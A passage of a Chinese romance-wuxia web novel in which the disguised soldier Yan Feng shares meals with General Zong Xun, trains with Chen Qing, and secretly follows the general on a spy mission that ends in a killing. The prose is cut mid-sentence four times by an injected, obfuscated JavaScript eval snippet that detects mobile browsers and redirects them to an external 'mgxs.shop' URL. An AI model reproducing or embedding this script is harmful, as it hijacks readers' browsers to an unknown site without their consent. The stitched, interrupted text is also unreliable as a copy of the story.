燕风一听，差点没脱口而出“你午时明明和我一样只嚼了几颗野果，哪里饱得起来？” 好在她立刻警觉，猛地塞了一口酱肘子，顺势咽了下去，含混着笑道： “你……你这肘子可真好吃！” 待到吃得风卷残云，终于步出将军大帐，燕风才从那混着心惊与喜悦的奇妙思绪里渐渐缓过神。 她走回自己的住处。江鱼早已等在那儿了，她像个等状元归家的乡下娘，扑上来就问：“请功如何？将军可有当场封你个小什长、半伍长当当？不济，赏个兵头头也成啊！” 燕风一怔。“请功？” 她这才惊觉：坏了，光顾着啃肘子打太极，把正事忘得一干二净。舍本逐末，真真失了章法！ 虽说她心里明白宗恂对北地之行的一切都心知肚明。但这明白绝不能写在脸上，不然岂不是摆明了告诉他：“将军，实不相瞒，我一早就知道你就是那个被我扒光了的素不相识之人哦。” 自己心里翻江倒海也就罢了，若惹得宗恂也因此翻腾上一回，她就有种愧对诸天英烈的羞耻感。简直像在脑门贴了写着‘下流’二字的条子，在千军万马前展览。 不成！明日得寻个由头请功去，这一道程序，万不能漏！ “到底赏没赏？怎么连个名头都没有？将军不满意？”江鱼的小手在眼前乱挥。 燕风回神，忽然想起她之前在帐前那副狐假虎威的模样，便道：“你这般关心名头做甚？咱们为将军办事，论的是赤胆忠心，哪分那许多虚衔？还是，我不在这些时日，有人欺你？” 江鱼好面子，立刻挺胸否认：“哪有！谁敢欺负我？” 可燕风素来善于刨根问底，江鱼顶不住她追问，憋了半晌，终于撇撇嘴，撇出了实情：原来他们这万余人虽是宗恂亲领，但将军初来时自己都不甚得势，更何况他们这支乱编来的老弱之军？是以营中的本地老油子们时不时就联合起来，给他们送些小鞋穿。 江鱼虽勤奋刻苦，但到底是女子身，又因多年饥寒，体格羸弱，纵是拼命操练，也只能勉强混个中下游。陈青在时尚能护她几分，陈青去与燕风接头之后，她便又成了显而易见的软柿子。 被欺负狠了，江鱼一咬牙，便信口扯了句：“我有个亲亲表兄，是将军亲信，如今只是奉命出营，不日便归。你们等着瞧吧！” 说到这，江鱼眼角竟还闪过一丝得意。 燕风听得哭笑不得，这谎倒也不是凭空捏造，竟还有几分依据。 她伸手拍了拍江鱼的肩膀：“放心吧，你的表兄回来了，就没人再敢欺负你。就算不是将军亲信，我也罩着你。” 江鱼登时瞪大了眼睛：“什么？已经不是了？头儿，你真的得罪了将军？是不是说错了什么话？不应该啊，陈青跟我说过，这次肯定是大功一件啊！” 燕风苦笑，心道现在还没得罪，但以后真不好说。 她面上装作痛心疾首地叹了口气：“确实说了几句不中听的话，所以明儿还得找机会补救。不过江鱼，你这想法可歪了。军营里论的是本事，别把外头那些溜须拍马的风气带进来。” 江鱼低下头，小声嘟囔：“可……他们都嘲笑我个子小，挤兑我，说我表兄也肯定瘦得像根豆芽菜。我气不过，骂回去，说你不光是将军亲信，还力大如牛，能一力拉开十五力重弓…” “十五力？”燕风差点没一口气喘岔了，“你这小脑瓜是怎么冒出这么可怕的念头的？” 江鱼有点不好意思：“是将军刚来的时候，众人不服他。他在武场上见人怠惰，就当场拎起一把十五力的重弓，连发三箭，百步开外，箭箭中靶。教头们脸上挂不住，就定了规矩：每月比试加这一项，各营选五人，用那张重弓各射三箭，哪个营的结果垫底，罚一旬无肉。” 燕风目瞪口呆：“听着怎么像是在替饷营节省开支……有没有可能，跟别的营商量商量，大家打个平手，肉就都有得吃？” 江鱼脸一垮：“还有下半句呢。垫底营少吃的肉，都归头名营。大家抢得凶着呢。咱们营上上个月就是最后，饿了一旬连猪油渣都没捞着。这个月还垫底。” 燕风心头一紧，她最怕挨饿，绝不想再啃酸菜根。忙问：“陈青呢？他力气大，没上？” “他两个月都去了。”江鱼叹气，“弓是拉开了，可三箭全脱了靶。” 说罢，又一脸期待地看向燕风：“头儿，我和他们说了你是将军亲信，还能劝将军，咱们这回肯定能吃上肉。你若不想走后门，凭你真本事也成啊，你一定能拉开那大弓吧？” 燕风摇头不语，忽然转身就走。 江鱼在后头追问：“头儿，你去哪？” “趁肚子里还有点肉，去举石锁。天冷心寒，得发发汗。” 刚走几步，她又折返，一脸凝重：“对了，上一次这比试是什么时候？明日能吃上肉吗？” 江鱼尴尬地咧嘴一笑：“你回来得不巧，今日才刚比完，咱们这营又垫了底，算起来，还得吃整整十天素。” 她见燕风脸色越来越黑，忙又补了一句：“不过往好处想，你还有足足快一个月的时间来准备呢！” 燕风深吸一口气，咬牙切齿：“陈青呢？他在哪儿？他居然还有脸睡觉？” 她转身朝帐外大步走去。 “起来！”燕风一边走一边吼，“叫他起来！陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485537|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一起去举石锁！现在！马上！” 那一夜，燕风与陈青两人轮番举着石锁，一口气练到了二更天。回帐时，两人累得话都说不出，倒头便昏死过去。 翌日天光微亮，燕风便被饿醒了。 她翻了个身，只觉昨夜吃进肚的那顿大餐早已被消磨殆尽，一点余味也不剩。 坐在伙房的长凳上，端着早食的手竟也微微发抖。她低头看着碗中稀薄的豆粥，和那块只有四指宽的豆面窝头，幽幽叹了口气。 “以前觉得豆面窝头也还算过得去，可人一旦尝过了驴肉火烧，再看这窝头，就只剩个将就了。” 江鱼啃着窝头：“头儿，你这刚立了大功，吃这些也太委屈了些。不然，你去跟将军说说？说不定还能顺便再修复修复关系呢。” 燕风从善如流：“说得好！我晌午去，正赶上饭点！” 一碗粥下肚，燕风又把陈青拉去训练场。 举石锁，扛沙袋，从晨曦练到日头高悬。臂膀废了练腰腹，腰腹废了练腿脚。起初两人还有余力说笑，后来燕风便开始痛骂陈青，说他是中看不中用，箭箭脱靶的废物，陈青不甘示弱也大骂着回敬。引得旁侧军士纷纷侧目，琢磨这俩到底是练武还是吵架。 就这么斗着练了一整个上午，两人终于双双趴倒，像在沙场晒干的死狗。可一到晌午饭点，燕风便又如战马闻鼓，一个咕噜翻身而起，箭也似地窜向宗恂的营帐。 美其名曰请功，实则直奔那口热饭去了。 宗恂倒也够义气，听她报功劳时不紧不慢，连连点头，偶尔还温声补几句无关痛痒的提问，显得颇为认真。至于桌上的饭菜，燕风从头吃到尾，连汤都不放过，筷子下飞沙走石，半点不剩。 一顿吃罢，她望着自己面前一堆啃过的骨头，又望望宗恂那头还很干净的餐盘，忽然有点心虚。 人家正养伤呢，她却天天来抢人家的好肉好菜，实在不像话。 正想着怎么客气两句，就听宗恂开口了：“我听说你们营这个月比试又输了，饭食还得再苛刻九日。不如这几日你都来与我共餐罢。我饭量一向不大，常常剩下许多，倒不如给你吃了，省得浪费。” 燕风心下一跳，立马推辞道：“这哪成，这绝对不成！叫人看见成何体统。” 她眼珠一转，又补了一句：“要不这样，您晚上吃剩的那些菜，别叫人收拾得太快，就多放帐里一会儿。不拘您什么时候要出门，只要您不在帐里，我就偷偷进去吃掉，绝不会让人看见！” 宗恂听了，眉头蹙起：“为什么不光明正大与我同餐？若是不愿同我一道，我便提前分好一份，你晚上再来取，省的吃剩的。” 燕风却不以为意，大手一摆：“这么麻烦做什么，我又不在意吃你吃剩的。” 宗恂闻言微微一怔，低下头去，唇边那一抹弧度被他刻意藏在茶盏后。 可他还未笑完，便听燕风自顾自补了一句。 “我这人不讲究这些。便是猫猫狗狗的剩菜，我也吃过不少。” 32. 情灼 燕风说完就觉得失言，好像在说人家是猫狗似的，她脸色微红，挠了挠头：“呃……我随口一说的，你别放在心上。” 宗恂却轻叹了一声：“我那时候，明明见你瘦弱可怜，却不曾照拂与你。对不住了。” 燕风眼神里闪过一瞬恍惚，连忙摆手：“这是哪里的话，哪里是你的错呢。” 她故作轻快地玩笑道，“再说了，若那时你真要施舍我饭食，我反而要走呢。天底下或许确有掉馅饼的好事，但肯定轮不着我。若是轮着了，后头必定有一顿好揍。” “这话怎么说？谁欺负你了？” 燕风一边收拾碗筷一边自嘲：“就那几个公主嘛，排老五和老七的……名字我早忘了。她们养了一只狮猫，就用那猫剩的食物引我过去，然后蒙头就是一顿乱揍。我到现在都不知道她们为什么这么捉弄我。” “当时我是真难过，可隔了一天，就看见你在冷宫后那块空地上武剑。你武得好极了，我当时就心想，一定要偷偷学会你的本事。公主有什么了不起的？等我练成了好功夫，就把她们全都打趴下！” 宗恂心里一阵抽痛，情不自禁地，便伸手要碰她搭在桌上的那只手。 触到了一片温软。 他心头一震，这才意识到自己举止的孟浪，正要收回，却见燕风脸上红白交错，分明也是被吓了一跳。 那只他握住的手心鼓鼓囊囊，像是藏了什么。 燕风讪讪地把手摊开，掌心里赫然是一只精巧可爱的肉糍。 “最后一个了。”她低声道，像个做错事的孩子。 “我看你好像也不吃，丢了怪可惜的……我就顺手……顺……顺习惯了。” 宗恂愣了愣，笑道：“往后你想吃就到我这里来，总不会叫你饿着的。” 燕风却已低头猛啃那只肉糍，嘴里模模糊糊道：“好，那就多谢将军。” 后头的事，燕风记不清了。再一回神，自己已经出了大帐。 外头凉风拂面，却吹不熄心头那份躁动。刚才是装痴扮傻混过去了，可宗恂那一握的温度，却似烙在了手背上，久久不散。 她素来敏感，怎会察觉不到其中的异样？ 她深知自己对宗恂从来就有些不太清白的念头。自幼时见他英姿卓然，她的心底便生出妄想。懵懂情愫被岁月酿成一坛炽热而隐秘的陈酿，如火种埋于灰烬，一触即燃。 但越是在意，便越是谨慎，从而患得患失。 她不敢去猜宗恂今日那一握，到底是因同她一般的情动，还是源于救命之恩的感激，又或者，仅是知晓她经历后，生出的愧疚与怜惜。 她怕得很。怕会错意，怕自己自作多情，怕到头来一场空欢喜。 更何况，宗恂是宗谦之子。每念及此处，那点悄然滋长的侥幸，顷刻间便被兜头浇灭。她欠宗家太多，那恩义如藤缠身，叫她不敢妄动七情六欲的贪根。 幸而每日与陈青对练，足可耗尽气力，夜里倒也能沉沉睡去，暂得清静。 她暗下决心，自此当避着他。 不见，便可少一分踌躇和心乱。 于是她依言每日前去取食，却总是等到他沉睡或离帐之后，才悄然潜入。取了便走，还要故作镇定地与陈青、江鱼分而食之，仿佛这样便能减些心头愧意，给自己一个心安理得的理由。 宗恂第一夜便觉出了异样。 他早早备好饭菜，在帐中静候，心里莫名生出些期待。可等到夜已深，帐帘却始终没有被掀起。 他怔怔坐了半宿，最终空落落睡去。次日清晨，他揭开食盒，却见食盒里饭菜已被取走，怔忡片刻，随即了然。 她在躲他。 那一刻，百味杂陈。 失落自不必说，更多的是怀疑和自责。她为何避他？是察觉了他的情意？但是……根本不愿回应？ 自那日起，他每夜都故意早早离帐，在营中闲转一圈，好让她能安心取食。 他愿成全她所有的决定。 两人分明近在咫尺，竟再无相见。宗恂初时只觉怅然，久而久之竟生出几分恼意 不是恼她，而是恼自己。何苦这般患得患失？又为何甘愿将喜怒，寄托于旁人一举一动之中？ 索性将那一腔情意强行压回心底，只当是一场无痕春梦。 好在，他还有事可做。 这日，恰逢燕风营中开荤第一日。他按旧例备下饭菜，想了想又在托盘底压了一张纸条，写道： “有事离营，至多二十日即归，勿声张，勿寻。” 夜半，燕风如往常一般潜入帐中，刚揭开食盒，忽然发现盘底露出一角纸页。她展开一看，神色骤变。 根据她在宗恂身边有且仅有的两次可怕经历，这种悄然离营的举动，十有八九他又是去找死！ 她哪里还坐得住？ 她飞快回帐唤醒江鱼，匆匆交代几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485538|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句，便换上便装，收拾干粮，拿一张厚毡披身，趁夜色翻上了宗恂的帐顶。她蜷伏屋檐之上，静静守着，只要宗恂一有动静，她便要立刻尾随而去，断不能再让他独自涉险！ 其实她也大可径直去找宗恂，当面问他此去又想做什么，若是又要以身涉险，便该三思，或者至少应该带上她一块儿。 然而她终究没有这么做，因她心中明白，那些心里藏着寻死念头的人，是听不进旁人劝的。宗恂这一次好歹还留了张纸条，若是自己贸然前去质问，反叫他提防起她来，恐怕以后连只言片语都不会再留。 再者，她已躲着他多日，心里总觉得心虚和愧疚，连见他一面，都有些不敢了。 丑时三刻，宗恂果然悄悄出来了。 他换了身打扮，行装简便，步履无声，身影转瞬便没入夜色。燕风目光紧随，只见他往北地临水城的方向疾行而去。 那是何家驻地，他果然又要去涉险！ 燕风顾不得多想，立刻跟了上去。宗恂的轻功不错，而她却更胜一筹，自信宗恂绝察觉不了她。 走着走着，宗恂忽然停住了脚步。 他站在一处高高的河岸上，低头看着下面滚滚而过的苍河。风吹得衣袂猎猎，像是下一刻就要振袖而去。 燕风心中一紧。 果然，下一刻，宗恂纵身一跃。 “扑通” 重物落水的一声巨响，激起水花四溅。 燕风如遭雷击，几乎停了呼吸。什么也顾不得了，她狂奔到高岸边，低头往下看去。 然而河面昏黑，月影破碎，唯有浊浪翻涌，宗恂却再无踪迹。 她的手在发抖，正欲跳下去救人。突然一只手从后方伸来，稳稳攥住了她的手臂。 她僵硬地回头。 宗恂好端端地站在她身后。他背对着月光一语不发，神情隐在黑影中看不分明。 只是紧紧握着她。 一阵大悲大喜，燕风半晌才找回了自己的心跳。 她马上意识到这人是故意引她出来，怒火上涌，正要张嘴让他见识见识市井俗语的攻击力。忽又住了嘴，因为她想起了这次似乎是她理亏。 毕竟他可能根本不知跟随之人是她，假装跳河只是为了引出其他不怀好意之人罢了。 可别又自作多情了。 万千言语在喉间翻滚，最终吐出的却是：“你……什么时候知道我跟着你的？” 33. 叩心 宗恂定定地看着她，语气里带了一丝实在没藏住的欢喜。 “其实并不知，只是试试而已。” 他经过这条河，便想起那时她对他的万般照顾，于是临时起了念头：他留了纸条，她既然知道他要走，若是也跟来了呢？ 他强自按捺住心头的雀跃，佯装镇定地问道：“你怎么跟来了？” 手却仍牢牢扣着她的臂膀，他心中自有借口：岸高风急，哪怕她是世间无二的轻功高手，他也得披着怕她失足跌下的好名义，抓着她的手，绝不要放开。 燕风听了这问话有些心虚，总不能直白地回说：“我怕你又出去送死。” 光是想想都觉着不吉利。 她咬牙，决定反将一军：“那您又是要去哪儿？” 可话一出口，她就后悔了。毕竟人家才是将军，自己一个做下属的，哪来的脸皮盘问上官的行踪？ 属实有些僭越。 没想到宗恂竟不恼，耐心回道：“王家这次三两下就吞了陆家，何家定然坐卧难安。张擎这几年和王、陆、何三家都有些猫腻，我把萨尔图在王家遇刺的事儿拐着弯透给了他。他这人精明得很，怎会放过这个借机卖何家人情的机会？” 燕风愣了愣：“所以何家会把这事儿告到边瓦王帐？” “何家若是聪明，定会将这事添油加醋送进王帐。萨尔图不是个糊涂人，眼下王帐势微，处处仰仗塔木儿部落，他定不会想把事情闹大，甚至为了防止塔木儿部落离心，他在他们眼皮子底下不会向王帐传递任何消息。脱脱不花没收到儿子的消息，却先收到何家的状信，难免不疑心儿子的安危，甚至是塔木儿部落的忠心……” 燕风暗叹一声好计谋，又问：“那您这趟出去，是张擎动手了？” 宗恂道：“是。人已派出去。我这一趟，是要暗中护他，为得是确保那人能顺利成事。” 话至此处，宗恂忽而话锋一转，语气里带了隐隐笑意：“你问我的我都答了，现在该轮到你了，你说说，你跟来做什么？” 燕风一愣，心里打起小鼓，嘴上努力搜刮着词句：“我……我也是担心您的安危嘛。这趟又是潜入敌境，谁晓得会不会有危险……” 宗恂存了心想逗她，慢悠悠道：“你这是在质疑本将军的能力？” “您的本事自然是一等一的，”燕风有些着急，“可也架不住您自己给自己找事儿啊。就说您上回……” 宗恂眉峰轻挑，静静等她说下去。 燕风忽然警觉，差点把王宅之事说漏了嘴，赶紧咬住舌头转了个弯：“就说，就说您上次去裕王府那回。若不是我和那小野猪横插一脚，您可曾想过该如何全身而退？” 她见宗恂不言，愈发理直气壮起来，学起他当时的语气：“您当时可亲口说了，就算死了也不打紧……您听听这像话吗，这不是明摆着自己找事儿么！要我说，这种事情何必要亲自涉险，派亲信去不就好了！” 说罢，她心头一阵窃喜，忍不住在心里为自己抚掌三声：“妙极妙极，转得滴水不漏。” 却不知她脸上这得意尽落宗恂眼中。 宗恂心中好笑：她还在装。 他忽而像是累了似的，长叹口气，便在旁边一块高窄的石头上坐下。 偏那只还牢牢攥着燕风手臂的手还未放开。燕风被他这一拽，竟也半推半就地坐了下去。 石头不大，两人肩头相触，膝盖几乎相抵。 燕风觉得呼吸都要不畅，便要侧身避让，偏偏一转头，他俊朗的侧颜又撞入眼帘： 鼻梁高挺，眉目深俊，在这月光下竟似白玉为骨，皎月作神。 她脸微微一热，正欲出言提醒他放开手罢，怎料那人先开了口，声音低沉，竟带出几分淡淡的落寞。 “可我谁都不信，哪有什么亲信。” 这一句话，说得沉甸甸的，竟让她一时语塞。 她本想反驳：“那卢校尉算什么？您拍拍屁股走人，哪回不是他替您遮掩？”但看着他的脸，话到嘴边，又说不出口了。 宗恂自顾自道，：“儿时在宫中，我的处境也不算好。虽不至于忍饥挨饿，但饭里时常有些‘佐料’。你如今看我略通医理，其实不过是早年自学，全是为了保命罢了。” 燕风听得一怔，下意识脱口：“那长公主和太后呢？她们不是……”您的亲生母亲和外祖母？ “福瑛公主和皇太后，”宗恂直呼其名，听来竟有几分讥讽，“是两个极奇怪的女人。她们各自心里都厌我，却偏要在对方面前装作疼我爱我。年少时我不懂得藏锋守拙，吃了不少亏。” 说到这，他眼中果然浮出几分真切的痛意。 燕风怔住了，不知是为他年幼际遇感同身受，还是因他此刻突然的坦白而不知所措。 她心里轻轻一颤，却也没发现他手上的力道又悄然收紧了几分。 “所以我那时才常去冷宫。”他语声中带着无尽的蛊惑，“你说你那时在檐上看我练武，心里得了些安慰。可我看你陪着我，又何尝不是呢。” “这世上，我只信你。” 原来如此。 燕风脑中某根筋“嗡”地一响。原来……原来只是想收她做亲信啊！ 她恍然大悟。这些日子的嘘寒问暖、那些似有若无的亲近，不过是因为上次那件事让他尝到了甜头：有人接应，总好过孤军奋战。 还好还好，她那些自作多情的小九九，全都藏得严实，半分没露。要是真露了……她恐怕这辈子都难在他面前抬头了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485539|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话虽如此，一股苦涩还是不受控制地从心底漫上来。 燕风酸酸地想，他这样的人物，将来身边自当有个品貌相当、温柔端庄的女子作配，两人举案齐眉，子孙满堂，长命百岁。 至于她？ 她不过是个天生的倒霉蛋。小时候吃顿饱饭都要挨揍，长大好不容易给自己寻了个家，却亲眼看它被烧成了灰。她还早早立了志，愿为报仇做个干干脆脆的短命鬼。 但她也不是全无所求。 她喜欢他，她觊觎他，这份心思见不得光却在她心中疯长。 她只盼死之前能有一次的放纵，哪怕只有一夜，能与他肌肤相亲，耳鬓厮磨，那她也算没白活这一回。 想到这里，她不动声色地深吸一口气，将那股翻涌的情绪狠狠压下去。她缓缓抽回被他攥得发烫的手，指尖残留的温度像是某种无言的告别。 随后，她站起身，端端正正地朝他行了一礼，声音平静得连自己都陌生： “燕风愿为将军亲信，赴汤蹈火，在所不辞。” 这下，轮到宗恂无措了。 他虽自幼长于波诡云谲的宫廷，早就练出一颗七窍玲珑之心，唯独对男女情意一窍不通。 他明明剖出了那层最不愿示人的心迹，自以为已是坦诚至极，怎在她耳中，便成了在一本正经地招纳心腹？ 还是说，她其实早已听明白了，却故意绕开，只留给他一个体面的退路？ 宗恂心头一沉，无奈应了声好。 也许，他确实不该再纠缠了。 两人并肩上路，不多时便追上了张擎先前派出的细作。那是个三十多岁的中年男子，容貌平平，极不起眼。 又过了一日，至第三日午后，他们一行悄然潜入临水县。 那细作显然久居此地，步履从容，穿街过巷，熟门熟路地进了一家偏僻客栈。入门时，他仍是一副乞丐模样，再出来时，却已换了打扮，成了寻常人家派出来打杂的苍头小厮。 天色已暮，街巷昏黄，他脚步加快，神色略显匆忙，显然是有事要做。 宗恂与燕风远远尾随，果不其然，见那人走进了一间民宅。 两人对视一眼，正欲跃至屋顶窥探动静，燕风却忽地顿住，脸上露出几分古怪的神情。 宗恂皱眉低声问：“怎么了？” 燕风面上露出个奇怪的笑，压低嗓音道：“没什么，将军您先请。” 宗恂狐疑地看了她一眼，身形一纵，落上屋脊，俯身揭开瓦片往下看了一眼，随即愣住，整张脸一点点涨红。 只见瓦片缝隙中，灯火摇曳，帘帐半卷。 而那细作与一年轻妇人缠作了一团，衣衫凌乱，喘息隐隐，正是一派颠鸾倒凤、春光旖旎的景象。 34. 同帐 女子衣衫已褪，发髻歪斜，汗湿的脸庞在灯下微微泛光，隐隐可见手臂上抓痕斑斑。细作则打着赤膊，动作急促，屋内不时响起木榻微颤的声响。 宗恂只看了一眼，便别开目光，不愿多瞧。 燕风也悄悄跟上来了，毫无避忌地伏在他身旁探头往下。她嘴角隐约含笑，眼神却凝着，看得认真极了。 下边屋内，情事正酣。 女子气息不稳，笑骂一声：“你这死鬼，这么些日子不来，是不是把老娘忘了？” 男子一边卖力，一边咬着牙道：“我不来，你家那位不能满足你么？” “姓何的要是有你一半厉害，我何苦出来寻你。”女子轻哼着，语气娇媚。 男子低笑一声，加重了力道，女子吃痛地咬唇，却未推拒，反而勾着他的脖子往下凑，“你最近那边有什么消息？” 男子喘着气，道：“听说脱脱不花那个儿子，萨尔图，在王家那边过得水深火热，前阵子才躲过一场刺杀。” “真的假的？”女子声音一颤，似是惊讶，又似情动，“你从哪儿听来的？” “你又不是不知道我家主子是谁。”男子冷笑一声，低头咬住她耳垂，语气里透着得意，“这消息，我敢打包票。” 帷下春声不断，话语交错，乍听如男女调情，细细一琢磨，却句句藏锋，直指人事机要。 良久，那两人好事已了。苍头喘着气翻身起床，整了整衣襟，掀帘离去。 燕风见状，也轻轻跃下屋脊，身姿灵巧地落在后头不远。走过几步，回头一望，却见宗恂还僵在原地，面色阴沉，如风雨欲来。 她唇角一勾：“将军怎么还不下来？” 宗恂只好动作僵硬地跟上，好一会儿，才装作不经意问道：“你方才……看得那般仔细作甚？” “这是正事，自然得看仔细些。看看他们有没有什么猫腻啊，是不是说了什么要紧话。” 宗恂的脸色稍稍缓了些，却听她又道：“不过说来，那男人倒也有几分本事……几个动作倒挺新鲜的，值得学学。” 宗恂登时脸黑如锅底，脚下险些一绊。 再绕过几个街口，便是那细作要回的客栈了。 燕风本以为今日之事到此为止了，却不料宗恂忽在那人经过一个偏僻巷口时，猛然抽剑，一剑自背后刺穿了他的心口。 男人来不及出声，便软倒在地，血泊迅速浸红了地面。 燕风一惊，蹙眉道：“这么突然？这尸体一时半会也不好处理啊。” 宗恂甩刀拭血，语气平静：“不用处理，便让人看到。” “……这是为何？” “何家既知我挤代了张擎，这次的消息必起疑心。但若此人死在半途，还是被人追杀致死，送来的消息反倒更添几分可信。” 燕风了然，又想起屋中之事，低声问：“那要是那女人害怕了，干脆当作他没来过，藏起来避祸呢？” “你真当她是寻常妇人？那女子肩宽背厚，臂肌结实，说不定比你还能打。” 燕风眨眨眼：“将军那一眼观察得挺细致的嘛。” 宗恂一噎，脸又红了几分，扭过头：“他们白日苟且，实在是有伤风化。” 说着，抬脚踢了那细作的尸身一脚，神情里满是厌恶。 燕风望着他那嫌弃的样子，心中却莫名发颤，颇有种兔死狐悲之感，一时间竟沉默了。 两人往回走，直到走出三四条街，她才忽地出声：“将军，您能拉十五力的重弓。那应该便是极限了吧？” 宗恂诧异地看她一眼：“这倒没认真试过，但十五力的弓倒也不算太吃力。” 燕风“哦”了一声，神色有些落寞。 走了几步，她又转头，语气活泼起来：“将军累不累？不然我举着您回去吧。我想起来好几天没练臂力了，陈青那小子回去肯定要嘲笑我。” 宗恂一脸难以置信：“……举着我？” “抱着也行。”燕风笑眯眯地看着他，“保准您一路舒舒服服的，就给属下一个尽忠尽力的机会吧！” 她心里默默盘算：宗恂这副冰壶秋月的样子，要是哪日自己真憋不住了起了歹心，少不得还得霸王硬上弓。反正事后跑路的本事她是举世无双，差得就是这把子做霸王的力气了，赶紧补补功夫练臂力才是正经。不然到时候被他一把制住，既豁出了脸还没得逞，那可真就是千古惨案了。 宗恂眉头一拧，断然道：“荒唐！” 燕风垂眼笑了笑，乖巧应了声：“属下知错。” 谁知才出临水城门，四野无人，前方空旷，宗恂忽觉身后有风声掠至。 他回头一看，却见燕风眼神狡黠，竟是张牙舞爪地朝他扑了上来！ “你做什么！”他低喝，脚下下意识一点，身形也如雁般掠起。 “方才不是向您禀报过了？”燕风笑声爽朗，身法诡谲如影随形，紧追不舍。 宗恂心下一惊，轻功再催。 两人竟在这荒野空道上玩起了你追我逃。 宗恂虽也极擅轻身之术，只是毕竟不及她，不多时便觉呼吸微乱。而那燕风却越追越欢，笑声清脆如铃。 “再跑就不讲理了，将军，属下这是尽忠尽职啊！” 宗恂几欲回头呵斥，奈何她身法灵动得似鱼游水底，倏忽间已贴至背脊。 一个踏空，便被她从后抱了个正着！ “抓——到——啦！”她得意扬声。 宗恂身子一震，正要挣脱，腰间却一紧，腿弯也被稳稳钳住。 下一瞬，脚底便已腾空！ 燕风竟真如所言，硬生生将他横抱而起，踏风疾行。两人身影如流星掠野，穿林越坡，踏水横枝，一去几里。 宗恂面皮铁青，头也不敢回，只听得耳畔她压着笑意的喘息。羞愤之感简直比方才屋顶偷窥之时更甚三分。 终于，燕风气息发滞，脚步一顿，将他轻轻放下。 宗恂落地后立刻后退半步，腰背却下意识地弓了起来。神情微妙，动作僵硬。 燕风看得好笑，偏装作不知情，假意关切地绕着他踱了一圈。 “将军怎么了？可哪里不舒服？”语气殷殷，眼梢却藏不住戏谑。 宗恂冷着脸不说话，耳根已红得灼人。 他心中却又苦涩：既是无意，又何必这般招惹他，作践他？他在她眼中，和方才演活春宫的苍头又有什么两样呢。 燕风轻笑出声，眼底一闪而过的，是几分小小的报复快意。 她当然知道他这副姿势是什么意思，毕竟十几日前才亲眼见过他衣衫底下起的官司。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485540|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是那时她羞得连多看一眼都不敢，如今却只觉颇有几分风水轮流转的趣味。谁叫这人对她事事体贴、处处照拂，末了却只想收个忠心耿耿的亲信？ 她被撩拨得心潮澎湃了好几日，如今也该叫他尝一尝这滋味才是！ 这一通胡闹下来，两人返程的速度竟比去时快了将近一半，拢共只花了四天便回到了军营。 燕风前脚刚踏进营地，后脚就被陈青拎去操练。 两人之前互相较劲着练功比得正是起劲，燕风却不告而别离开了整整四日。陈青心里乐开了花。出公差还能不荒废功夫？待她回来见自己弯道超车，怕是要气得跳脚。可没想到燕风虽然比他少用功了四日，可人一回来便和走火入魔似的，训练起来好似个陀螺。两人的差距竟然并没有拉开多少。 他哪里知道燕风如今心态全然不同：自打认清了自己在宗恂眼里的亲信定位，虽然少女心碎了一地，但脑子里想的东西少了，心里的怨气多了，可不就得每日拿石锁发泄！再加上之前饮食上还算有所收敛，吃宗恂的饭菜只敢悄悄去。如今每到饭点，她必定准时赶到宗恂身边，连吃带拿，毫无心理负担。 现在的她，强得可怕。 两人的胜负欲一点即燃。你举一百下石锁，我就举一百零一下；你跑十圈热身，我非得小小跑个十一圈才刚刚出汗。简直是恶意竞争。 除此之外，燕风也没忘记自己作为亲信的职责。 她深知上次的放纵给她的主子留下了不太好的回忆，怕宗恂下次出去找死不再留纸条而选择不告而别，于是几乎每夜都拿条厚毯子睡在宗恂帐顶。 对此，宗恂极不自在，他知她有探风的本领，一想到自己每次小小的转身都能被她捕捉到，他更是辗转难眠。 纵使如此，他见她白日操练辛苦，晚上还要到他帐顶吹冷风，心底终究疼惜，竟还主动提出要在帐里给燕风安个小榻，免得她晚上再受冻。 若搁从前，燕风定要心跳如鼓地胡思乱想三百回，再咬牙忍痛拒绝。但今时不同往日，她自从认清了现实，便豁达得很。 不就是同帐么，亲信的职责所在罢了！ 自此，那方小榻夜夜有人安卧。 